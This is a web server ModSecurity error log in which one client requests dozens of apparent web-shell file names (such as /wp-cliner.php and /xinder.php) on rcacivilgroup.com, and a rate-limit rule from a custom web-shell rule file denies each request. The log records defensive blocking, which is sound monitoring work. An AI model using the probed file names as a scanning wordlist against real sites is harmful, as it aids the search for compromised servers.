[Mon May 04 23:45:52.049633 2026] [:error] [pid 32471:tid 32482] [client 20.29.119.89:64016] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sko.php"] [unique_id "afi_MHmjpb9EYq6AqhKQTAAAAQg"]
[Mon May 04 23:45:52.433728 2026] [:error] [pid 32471:tid 32481] [client 20.29.119.89:65368] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cilus.php"] [unique_id "afi_MHmjpb9EYq6AqhKQTgAAAQc"]
[Mon May 04 23:45:52.850723 2026] [:error] [pid 32471:tid 32486] [client 20.29.119.89:64718] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cilus.php"] [unique_id "afi_MHmjpb9EYq6AqhKQUAAAAQw"]
[Mon May 04 23:45:53.264877 2026] [:error] [pid 61043:tid 61088] [client 20.29.119.89:64048] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cilus.php"] [unique_id "afi_MZ8-LwtfURjiAbDoQgAAAE0"]
[Mon May 04 23:45:53.703950 2026] [:error] [pid 61150:tid 61164] [client 20.29.119.89:65382] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cilus.php"] [unique_id "afi_Me8QXWVLiwIGVpenIgAAAUs"]
[Mon May 04 23:45:54.119713 2026] [:error] [pid 61150:tid 61154] [client 20.29.119.89:62175] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-cliner.php"] [unique_id "afi_Mu8QXWVLiwIGVpenJAAAAUE"]
[Mon May 04 23:45:54.532430 2026] [:error] [pid 61044:tid 61112] [client 20.29.119.89:62112] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-cliner.php"] [unique_id "afi_Mkw8w2zZZXI6H1u40AAAAAo"]
[Mon May 04 23:45:55.009567 2026] [:error] [pid 61150:tid 61176] [client 20.29.119.89:63463] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-cliner.php"] [unique_id "afi_M-8QXWVLiwIGVpenJwAAAVc"]
[Mon May 04 23:45:55.424596 2026] [:error] [pid 61150:tid 61174] [client 20.29.119.89:62838] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-cliner.php"] [unique_id "afi_M-8QXWVLiwIGVpenKAAAAVU"]
[Mon May 04 23:45:55.982087 2026] [:error] [pid 3341:tid 3347] [client 20.29.119.89:64766] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-sx10.php"] [unique_id "afi_M09o3_LordU0wW6cdwAAAIM"]
[Mon May 04 23:45:56.429518 2026] [:error] [pid 61043:tid 61092] [client 20.29.119.89:64652] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-sx10.php"] [unique_id "afi_NJ8-LwtfURjiAbDoRQAAAFE"]
[Mon May 04 23:45:56.940916 2026] [:error] [pid 61043:tid 61095] [client 20.29.119.89:65356] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-sx10.php"] [unique_id "afi_NJ8-LwtfURjiAbDoRgAAAFQ"]
[Mon May 04 23:45:57.510915 2026] [:error] [pid 3341:tid 3366] [client 20.29.119.89:63478] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-sx10.php"] [unique_id "afi_NU9o3_LordU0wW6ceQAAAJY"]
[Mon May 04 23:45:58.092202 2026] [:error] [pid 61044:tid 61122] [client 20.29.119.89:65290] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/packed.php"] [unique_id "afi_Nkw8w2zZZXI6H1u41wAAABQ"]
[Mon May 04 23:45:58.473900 2026] [:error] [pid 3341:tid 3365] [client 20.29.119.89:61526] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/packed.php"] [unique_id "afi_Nk9o3_LordU0wW6cewAAAJU"]
[Mon May 04 23:46:00.066740 2026] [:error] [pid 3341:tid 3354] [client 20.29.119.89:65366] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/packed.php"] [unique_id "afi_OE9o3_LordU0wW6cfQAAAIo"]
[Mon May 04 23:46:00.597289 2026] [:error] [pid 3341:tid 3360] [client 20.29.119.89:63455] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/packed.php"] [unique_id "afi_OE9o3_LordU0wW6cfwAAAJA"]
[Mon May 04 23:46:01.028356 2026] [:error] [pid 61150:tid 61162] [client 20.29.119.89:65334] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "afi_Oe8QXWVLiwIGVpenMQAAAUk"]
[Mon May 04 23:46:01.478468 2026] [:error] [pid 32471:tid 32476] [client 20.29.119.89:64694] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "afi_OXmjpb9EYq6AqhKQUQAAAQI"]
[Mon May 04 23:46:01.875465 2026] [:error] [pid 3341:tid 3359] [client 20.29.119.89:63483] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "afi_OU9o3_LordU0wW6chAAAAI8"]
[Mon May 04 23:46:02.359195 2026] [:error] [pid 3341:tid 3362] [client 20.29.119.89:62155] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "afi_Ok9o3_LordU0wW6chQAAAJI"]
[Mon May 04 23:46:02.770904 2026] [:error] [pid 3341:tid 3366] [client 20.29.119.89:62727] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cc13.php"] [unique_id "afi_Ok9o3_LordU0wW6chwAAAJY"]
[Mon May 04 23:46:03.207714 2026] [:error] [pid 3341:tid 3346] [client 20.29.119.89:64059] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cc13.php"] [unique_id "afi_O09o3_LordU0wW6ciQAAAII"]
[Mon May 04 23:46:03.586620 2026] [:error] [pid 3341:tid 3348] [client 20.29.119.89:65387] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cc13.php"] [unique_id "afi_O09o3_LordU0wW6ciwAAAIQ"]
[Mon May 04 23:46:03.979106 2026] [:error] [pid 61150:tid 61159] [client 20.29.119.89:61513] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cc13.php"] [unique_id "afi_O-8QXWVLiwIGVpenMgAAAUY"]
[Mon May 04 23:46:04.392204 2026] [:error] [pid 61150:tid 61170] [client 20.29.119.89:64076] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fileas.php"] [unique_id "afi_PO8QXWVLiwIGVpenMwAAAVE"]
[Mon May 04 23:46:04.805386 2026] [:error] [pid 61150:tid 61168] [client 20.29.119.89:65329] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fileas.php"] [unique_id "afi_PO8QXWVLiwIGVpenNAAAAU8"]
[Mon May 04 23:46:19.166423 2026] [:error] [pid 61150:tid 61176] [client 20.29.119.89:65340] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zzkhe.php"] [unique_id "afi_S-8QXWVLiwIGVpenUAAAAVc"]
[Mon May 04 23:46:19.584680 2026] [:error] [pid 3341:tid 3361] [client 20.29.119.89:63460] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zzkhe.php"] [unique_id "afi_S09o3_LordU0wW6cpAAAAJE"]
[Mon May 04 23:46:20.070963 2026] [:error] [pid 3341:tid 3353] [client 20.29.119.89:65346] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zzkhe.php"] [unique_id "afi_TE9o3_LordU0wW6cpgAAAIk"]
[Mon May 04 23:46:20.476091 2026] [:error] [pid 3341:tid 3346] [client 20.29.119.89:64009] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zzkhe.php"] [unique_id "afi_TE9o3_LordU0wW6cqAAAAII"]
[Mon May 04 23:46:21.198847 2026] [:error] [pid 3341:tid 3352] [client 20.29.119.89:64643] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/samll.php"] [unique_id "afi_TU9o3_LordU0wW6crAAAAIg"]
[Mon May 04 23:46:21.735845 2026] [:error] [pid 3341:tid 3353] [client 20.29.119.89:65333] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/samll.php"] [unique_id "afi_TU9o3_LordU0wW6crwAAAIk"]
[Mon May 04 23:46:22.206432 2026] [:error] [pid 3341:tid 3347] [client 20.29.119.89:65371] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/samll.php"] [unique_id "afi_Tk9o3_LordU0wW6csAAAAIM"]
[Mon May 04 23:46:22.613862 2026] [:error] [pid 32471:tid 32495] [client 20.29.119.89:63438] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/samll.php"] [unique_id "afi_Tnmjpb9EYq6AqhKQWgAAARU"]
[Mon May 04 23:46:23.133638 2026] [:error] [pid 32471:tid 32477] [client 20.29.119.89:63381] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mga.php"] [unique_id "afi_T3mjpb9EYq6AqhKQXAAAAQM"]
[Mon May 04 23:46:23.640004 2026] [:error] [pid 61043:tid 61094] [client 20.29.119.89:62143] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mga.php"] [unique_id "afi_T58-LwtfURjiAbDoUgAAAFM"]
[Mon May 04 23:46:24.119133 2026] [:error] [pid 61043:tid 61085] [client 20.29.119.89:62138] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mga.php"] [unique_id "afi_UJ8-LwtfURjiAbDoVAAAAEo"]
[Mon May 04 23:46:24.551650 2026] [:error] [pid 61043:tid 61086] [client 20.29.119.89:62812] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mga.php"] [unique_id "afi_UJ8-LwtfURjiAbDoVwAAAEs"]
[Mon May 04 23:46:25.136977 2026] [:error] [pid 61150:tid 61159] [client 20.29.119.89:64747] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-xml.php"] [unique_id "afi_Ue8QXWVLiwIGVpenUwAAAUY"]
[Mon May 04 23:46:25.533581 2026] [:error] [pid 61043:tid 61098] [client 20.29.119.89:62099] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-xml.php"] [unique_id "afi_UZ8-LwtfURjiAbDoWwAAAFc"]
[Mon May 04 23:46:26.039496 2026] [:error] [pid 32471:tid 32487] [client 20.29.119.89:64673] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-xml.php"] [unique_id "afi_Unmjpb9EYq6AqhKQYAAAAQ0"]
[Mon May 04 23:46:26.445442 2026] [:error] [pid 61044:tid 61125] [client 20.29.119.89:64089] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-xml.php"] [unique_id "afi_Ukw8w2zZZXI6H1u44gAAABc"]
[Mon May 04 23:46:27.591117 2026] [:error] [pid 61043:tid 61089] [client 20.29.119.89:64037] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xinder.php"] [unique_id "afi_U58-LwtfURjiAbDoYAAAAE4"]
[Mon May 04 23:46:28.205493 2026] [:error] [pid 61043:tid 61083] [client 20.29.119.89:62101] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xinder.php"] [unique_id "afi_VJ8-LwtfURjiAbDoZAAAAEg"]
[Mon May 04 23:46:28.672169 2026] [:error] [pid 61043:tid 61094] [client 20.29.119.89:63386] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xinder.php"] [unique_id "afi_VJ8-LwtfURjiAbDoZgAAAFM"]
[Mon May 04 23:46:29.075585 2026] [:error] [pid 61043:tid 61080] [client 20.29.119.89:64096] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xinder.php"] [unique_id "afi_VZ8-LwtfURjiAbDoaAAAAEU"]
[Mon May 04 23:46:29.710695 2026] [:error] [pid 61042:tid 61069] [client 20.29.119.89:64713] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/doc.php"] [unique_id "afi_VUnAPPS1fjubA9RwyQAAANc"]
[Mon May 04 23:46:30.236430 2026] [:error] [pid 61043:tid 61075] [client 20.29.119.89:64047] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/doc.php"] [unique_id "afi_Vp8-LwtfURjiAbDoawAAAEA"]
[Mon May 04 23:46:30.795617 2026] [:error] [pid 61044:tid 61102] [client 20.29.119.89:62774] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/doc.php"] [unique_id "afi_Vkw8w2zZZXI6H1u45wAAAAA"]
[Mon May 04 23:46:31.275058 2026] [:error] [pid 3341:tid 3359] [client 20.29.119.89:62764] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/doc.php"] [unique_id "afi_V09o3_LordU0wW6ctgAAAI8"]
[Mon May 04 23:46:31.692872 2026] [:error] [pid 3341:tid 3360] [client 20.29.119.89:65393] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/academy.php"] [unique_id "afi_V09o3_LordU0wW6cugAAAJA"]
[Mon May 04 23:46:32.155589 2026] [:error] [pid 3341:tid 3351] [client 20.29.119.89:64098] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/academy.php"] [unique_id "afi_WE9o3_LordU0wW6cwQAAAIc"]
[Mon May 04 23:46:32.532477 2026] [:error] [pid 61150:tid 61154] [client 20.29.119.89:62779] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/academy.php"] [unique_id "afi_WO8QXWVLiwIGVpenWQAAAUE"]
[Mon May 04 23:46:33.143808 2026] [:error] [pid 32471:tid 32485] [client 20.29.119.89:64112] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/academy.php"] [unique_id "afi_WXmjpb9EYq6AqhKQbwAAAQs"]
[Mon May 04 23:46:33.705678 2026] [:error] [pid 61043:tid 61077] [client 20.29.119.89:62177] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/owl.php"] [unique_id "afi_WZ8-LwtfURjiAbDoewAAAEI"]
[Mon May 04 23:46:34.235488 2026] [:error] [pid 61043:tid 61082] [client 20.29.119.89:62754] [client 20.29.119.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/owl.php"] [unique_id "afi_Wp8-LwtfURjiAbDoggAAAEc"]
